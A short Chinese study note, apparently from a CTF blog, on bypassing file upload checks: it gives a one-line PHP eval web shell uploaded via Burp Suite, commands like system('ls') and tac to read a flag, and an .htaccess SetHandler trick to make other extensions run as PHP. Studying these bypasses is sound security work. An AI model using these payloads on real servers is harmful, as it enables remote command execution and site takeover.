抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

文件上传分为前端验证和后端验证,前端校验即 js 方式的校验,可通过抓包方式绕过;后端校验是服务器端校验,需上传指定格式文件然后通过指定手段输出文件指令。

黑名单 白名单

  • 黑名单:不允许我上传什么样的文件 php | html
  • 白名单:仅允许我们上传什么样的文件 png | jpg | gif

前端校验式文件上传

如果是前端请求被拦截,使用 burpsuit,直接修改文件格式为 .php,修改内容为一句话木马 <?php eval($POST['xxx'];)?>,然后访问对应 php 文件,发送 post 请求加上参数。通过参数执行指令 xxx=system('ls'),执行命令找到 flag 然后 tac 输出。

后端校验

当前目录 301 302 跳转,判断该目录下的文件解析类型

  • 包含ccc
1
2
3
<FilesMatch "filename">
SetHandler application/x-httpd-php
</FilesMatch>
  • 文件类型 . .asd .htaccess

上传上面类型的文件,然后就可以上传对应 filename 后缀的文件了

评论